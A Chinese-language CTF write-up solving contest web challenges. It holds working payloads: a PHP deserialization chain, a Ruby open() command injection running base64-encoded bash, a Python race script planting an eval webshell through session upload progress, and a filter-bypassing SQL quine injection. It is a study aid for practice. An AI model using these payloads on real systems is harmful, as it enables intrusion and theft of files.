第三届第五空间网络安全大赛的Web题目复现
pklovecloud
是个pop链,需要注意的地方是acp类型中的成员cinder是protected属性的,序列化之后会增加三个字符%00*%00
(url编码之后)
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{
$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
分析一下
echo $logData
调用了acp类的__toString()
函数,然后调用ace
类的echo_name()函数,同时成员openctack
需要是一个acp类对象,因为acp类对象要定义两个,同时protected属性的成员定义变量有点麻烦,所以可以加一个成员属性共有,名称不同的类acq,最后改一下名称即可
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder; //这玩意是个神奇的东西
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
$this->cinder = $b;
}
function __toString() //首先是这个东西,输出对象直接调用,反序列化不会执行construct函数
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class acq
{
public $cinder; //公用的东西
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString() //首先是这个东西,输出对象直接调用,反序列化不会执行construct函数
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)//地址相同
{
$file = "./{
$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file); //利用点
}
else
{
return "keystone lost~";
}
}
}
}
$a = new acp();
$a->nova = &$a->neutron;
$b = new ace();
$b->docker = serialize($a);
$b->filename = "flag.php";
$c = new acq();
$c->cinder = $b;
echo serialize($c);
记着把得到的结果将acq改为ace,同时protected属性的成员要加上%00*%00
payload:
O:3:"acp":3:{
s:9:"%00*%00cinder";O:3:"ace":3:{
s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:63:"O:3:"acp":3:{s:9:"%00*%00cinder";N;s:7:"neutron";N;s:4:"nova";R:3;}";}s:7:"neutron";N;s:4:"nova";N;}
PNG图片转换器
本题有附件app.rb,分析一下,两个功能,一个是upload上传,一个是convert转换
#app.rb
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'#对上传的文件进行md5名称加密处理
open(filename, 'wb') {
|f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
Ruby的open函数存在漏洞:A Dive into Ruby CVE-2017-17405: Identifying a Vulnerability in Ruby’s FTP Implementation
burpsuite抓包
file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png
其中bHMgLw==
是ls /
的base64编码,后面的.png是为了符合题目的后缀要求
得到根目录
RkxBOV9WaXhOeHRTUkZmZDhJb0Zsbk52dgphcHAKYmluCmJvb3QKZGV2CmV0Ywpob21lCmxpYgpsaWI2NAptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2JpbgpzcnYKc3lzCnRtcAp1c3IKdmFyCg==
解码后
FLA9_VixNxtSRFfd8IoFlnNvv
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
然后cat /FLA9_VixNxtSRFfd8IoFlnNvv
进行base64编码,并且传入
file=|bash -c "$(echo 'Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2' | base64 -d)" #.png
解码得到flag
EasyCleanup
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
GET传参?mode=eval,查看phpinfo(),注意到session.upload_progress.cleanup=off
这个东西可以直接使用session_upload的脚本直接打
#coding=utf-8
import io
import requests
import threading
sessid = 'sk1y'
data = {
"cmd":"system('cat /flag_is_here_not_are_but_you_find');"}
#/flag_is_here_not_are_but_you_find
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://114.115.134.72:32770', data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={
'file': ('tgao.txt',f)}, cookies={
'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://114.115.134.72:32770/?file=/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
有效,修改cmd命令,cat /flag_is_here_not_are_but_you_find
即可
因为本题中session.upload_progress.cleanup=off
,所以不会清空,木马上传之后,可以直接利用木马执行命令
yet_another_mysql_injection
f12中存在提示,访问/?sorce
可以得到源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{
$mes}');location.href='{
$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');//过滤关键词,跳转到index.php
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');//username===admin
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
//这个是关键
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- source code here: /?source -->
需要注意的地方是
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
需要让我们传入的password和执行查询语句之后得到的$row[‘password’]相同,才可以得到flag
推荐文章:SQLi Quine
文章中有一个现有的sql语句
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
我们对其进行修改:in,$,空格,都被过滤了,所以将
空格替换为/**/,
$替换为^,相应的36修改为94,
Quine中含有in,所以替换为Sk1y
这个语句需要用到联合查询union,所以在SELECT前加上“UNION/**/
'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/Sk1y#',CHAR(34),CHAR(39)),CHAR(94),'"UNION/**/SELECT/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/Sk1y#')AS/**/Sk1y#
WebFTP
是个webftp,然后可以在github上下载到源码,链接:https://codeload.github.com/wifeat/WebFTP/zip/refs/heads/master
在WebFTP-master\Readme目录下,有mytz.php,GET传参act=phpinfo,可以发现flag
自身还需修炼,继续努力(ง •_•)ง